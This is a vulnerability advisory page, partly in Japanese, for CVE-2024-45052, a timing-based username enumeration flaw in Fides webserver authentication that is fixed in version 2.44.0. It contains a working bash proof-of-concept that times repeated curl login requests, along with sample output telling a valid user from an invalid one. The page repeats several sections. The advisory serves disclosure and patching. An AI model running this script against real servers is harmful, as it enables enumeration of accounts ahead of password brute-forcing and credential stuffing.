Timing-Based Username Enumeration Vulnerability in Fides Webserver Authentication

中 5.3CVE-2024-45052 · GHSA-2h46-8gf5-fmxv · PYSEC-2026-1331 · 04/09/2024 公開 · 17/06/2026 更新

要点

CVE-2024-45052 は ethyca-fides, fides (ethyca) に影響する深刻度「中」 (CVSS 5.3) の脆弱性です。
今後30日間に悪用される確率（EPSS）：0.56%（全脆弱性の 46.4% より高い）。
対処：2.44.0 以降に更新してください。

パッケージ	影響を受けるバージョン	修正済みバージョン
ethyca-fides PyPI	`< 2.44.0`	`2.44.0`
fides ethyca	`< 2.44.0`	`2.44.0`

概要

A timing-based username enumeration vulnerability has been identified in Fides Webserver authentication. This vulnerability allows an unauthenticated attacker to determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. The discrepancy in response times between valid and invalid usernames can be leveraged to enumerate users on the system.

Impact

This vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server's response time to authentication requests. This information can be used to conduct further attacks on authentication such as password brute-forcing and credential stuffing.

Patches

The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

Proof of Concept

Create a valid user called valid_user on a remote Fides server. Ensure that there is no user on the server named invalid_user. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests.
In a terminal run export LOGIN_URL='https://example.com/api/v1/login', replacing example.com with your remote Fides server's domain or IP address.
In the same terminal run exploit-poc.sh (detailed below).
It's possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.

<details> <summary>Exploit PoC script</summary>

#!/bin/bash

# Function to test login and calculate average transfer times
test_login(){
  echo -e "\nTesting login for user: $1\n"
  total_diff=0

  for (( i=1; i <= 20; ++i ))
  do
    echo -n "Attempt #$i: "
    resp=$(curl -w @- "$LOGIN_URL" \
      -H 'content-type: application/json' \
      --data-raw '{"username":"'$1'","password":"d3JvbmdwYXNzd29yZA=="}' \
      -o /dev/null -s <<'EOF'
      {
        "pretransfer":  %{time_pretransfer},
        "starttransfer": %{time_starttransfer}
      }
EOF
    )
    
    pre=$(echo $resp | jq '.pretransfer')
    start=$(echo $resp | jq '.starttransfer')
    diff=$(echo "$start - $pre" | bc)

    # Accumulate total diff
    total_diff=$(echo "$total_diff + $diff" | bc)
    
    # Print the result of this iteration
    printf "Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\n" "$pre" "$start" "$diff"
  done
  
  # Calculate average diff
  avg_diff=$(echo "scale=4; $total_diff / 20" | bc)
  
  # Print average time
  echo -e "\nAverage Time Difference for $1: $avg_diff seconds\n"
}

# Ensure that LOGIN_URL is set
if [ -z "$LOGIN_URL" ]; then
  echo "Error: LOGIN_URL environment variable is not set."
  exit 1
fi

# Test valid and invalid users
test_login valid_user 
test_login invalid_user

</details> <details> <summary>Sample script run</summary> </details>

参考情報

ethyca/fides security advisory · WEB
ethyca/fides · PACKAGE
ethyca/fides commit 457b0e9 · Patch
pypi.org/project/ethyca-fides · PACKAGE
GitHub Advisory GHSA-2h46-8gf5-fmxv · ADVISORY
nvd.nist.gov/vuln/detail/CVE-2024-45052 · ADVISORY

ethyca-fides のその他の脆弱性

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パッケージ

影響を受けるバージョン

修正済みバージョン

ethyca-fides

PyPI

< 2.44.0

2.44.0

fides

ethyca

< 2.44.0

2.44.0

概要

Impact

Patches

The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

Proof of Concept

Create a valid user called valid_user on a remote Fides server. Ensure that there is no user on the server named invalid_user. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests.
In a terminal run export LOGIN_URL='https://example.com/api/v1/login', replacing example.com with your remote Fides server's domain or IP address.
In the same terminal run exploit-poc.sh (detailed below).
It's possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.

<details> <summary>Exploit PoC script</summary>

#!/bin/bash

# Function to test login and calculate average transfer times
test_login(){
  echo -e "\nTesting login for user: $1\n"
  total_diff=0

  for (( i=1; i <= 20; ++i ))
  do
    echo -n "Attempt #$i: "
    resp=$(curl -w @- "$LOGIN_URL" \
      -H 'content-type: application/json' \
      --data-raw '{"username":"'$1'","password":"d3JvbmdwYXNzd29yZA=="}' \
      -o /dev/null -s <<'EOF'
      {
        "pretransfer":  %{time_pretransfer},
        "starttransfer": %{time_starttransfer}
      }
EOF
    )
    
    pre=$(echo $resp | jq '.pretransfer')
    start=$(echo $resp | jq '.starttransfer')
    diff=$(echo "$start - $pre" | bc)

    # Accumulate total diff
    total_diff=$(echo "$total_diff + $diff" | bc)
    
    # Print the result of this iteration
    printf "Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\n" "$pre" "$start" "$diff"
  done
  
  # Calculate average diff
  avg_diff=$(echo "scale=4; $total_diff / 20" | bc)
  
  # Print average time
  echo -e "\nAverage Time Difference for $1: $avg_diff seconds\n"
}

# Ensure that LOGIN_URL is set
if [ -z "$LOGIN_URL" ]; then
  echo "Error: LOGIN_URL environment variable is not set."
  exit 1
fi

# Test valid and invalid users
test_login valid_user 
test_login invalid_user

</details> <details> <summary>Sample script run</summary> </details>

ethyca-fides のその他の脆弱性

すべて見る →

~ ❯ ./exploit-poc.sh Testing login for user: valid_user Attempt #1: Pretransfer: 0.3006, Starttransfer: 0.7404, Diff: 0.4398 Attempt #2: Pretransfer: 0.2755, Starttransfer: 1.2506, Diff: 0.9751 Attempt #3: Pretransfer: 0.2595, Starttransfer: 0.7108, Diff: 0.4512 Attempt #4: Pretransfer: 0.2551, Starttransfer: 1.0483, Diff: 0.7932 Attempt #5: Pretransfer: 0.2553, Starttransfer: 0.6680, Diff: 0.4127 Attempt #6: Pretransfer: 0.2599, Starttransfer: 0.6712, Diff: 0.4113 Attempt #7: Pretransfer: 0.2518, Starttransfer: 0.6603, Diff: 0.4085 Attempt #8: Pretransfer: 0.2467, Starttransfer: 0.6812, Diff: 0.4344 Attempt #9: Pretransfer: 0.2502, Starttransfer: 0.8175, Diff: 0.5673 Attempt #10: Pretransfer: 0.2583, Starttransfer: 0.6904, Diff: 0.4321 Attempt #11: Pretransfer: 0.2573, Starttransfer: 0.6601, Diff: 0.4029 Attempt #12: Pretransfer: 0.2481, Starttransfer: 0.8495, Diff: 0.6014 Attempt #13: Pretransfer: 0.2487, Starttransfer: 0.6822, Diff: 0.4336 Attempt #14: Pretransfer: 0.2526, Starttransfer: 0.9728, Diff: 0.7201 Attempt #15: Pretransfer: 0.2573, Starttransfer: 0.9808, Diff: 0.7235 Attempt #16: Pretransfer: 0.2459, Starttransfer: 0.6536, Diff: 0.4078 Attempt #17: Pretransfer: 0.2508, Starttransfer: 0.9024, Diff: 0.6517 Attempt #18: Pretransfer: 0.2477, Starttransfer: 2.2049, Diff: 1.9572 Attempt #19: Pretransfer: 0.2523, Starttransfer: 2.1087, Diff: 1.8564 Attempt #20: Pretransfer: 0.2523, Starttransfer: 0.7308, Diff: 0.4785 Average Time Difference for valid_user: .6779 seconds Testing login for user: invalid_user Attempt #1: Pretransfer: 0.2496, Starttransfer: 0.4122, Diff: 0.1626 Attempt #2: Pretransfer: 0.2551, Starttransfer: 0.4049, Diff: 0.1498 Attempt #3: Pretransfer: 0.2480, Starttransfer: 0.6174, Diff: 0.3694 Attempt #4: Pretransfer: 0.2489, Starttransfer: 0.4611, Diff: 0.2122 Attempt #5: Pretransfer: 0.2513, Starttransfer: 0.4601, Diff: 0.2088 Attempt #6: Pretransfer: 0.2540, Starttransfer: 0.3946, Diff: 0.1406 Attempt #7: Pretransfer: 0.2504, Starttransfer: 0.9104, Diff: 0.6599 Attempt #8: Pretransfer: 0.2577, Starttransfer: 0.4095, Diff: 0.1518 Attempt #9: Pretransfer: 0.2497, Starttransfer: 0.3851, Diff: 0.1353 Attempt #10: Pretransfer: 0.2548, Starttransfer: 0.4024, Diff: 0.1476 Attempt #11: Pretransfer: 0.2559, Starttransfer: 0.4002, Diff: 0.1443 Attempt #12: Pretransfer: 0.2501, Starttransfer: 0.4075, Diff: 0.1573 Attempt #13: Pretransfer: 0.2560, Starttransfer: 0.3921, Diff: 0.1361 Attempt #14: Pretransfer: 0.2493, Starttransfer: 0.3933, Diff: 0.1440 Attempt #15: Pretransfer: 0.2493, Starttransfer: 0.3942, Diff: 0.1449 Attempt #16: Pretransfer: 0.2599, Starttransfer: 0.5111, Diff: 0.2512 Attempt #17: Pretransfer: 0.2455, Starttransfer: 0.4128, Diff: 0.1673 Attempt #18: Pretransfer: 0.2558, Starttransfer: 1.7535, Diff: 1.4977 Attempt #19: Pretransfer: 0.2515, Starttransfer: 1.4528, Diff: 1.2013 Attempt #20: Pretransfer: 0.2483, Starttransfer: 0.3893, Diff: 0.1410 Average Time Difference for invalid_user: .3161 seconds ~ ❯

要点

概要

Impact

Patches

Workarounds

Proof of Concept

参考情報

ethyca-fides のその他の脆弱性

要点

概要

Impact

Patches

Workarounds

Proof of Concept

参考情報

ethyca-fides のその他の脆弱性

Severity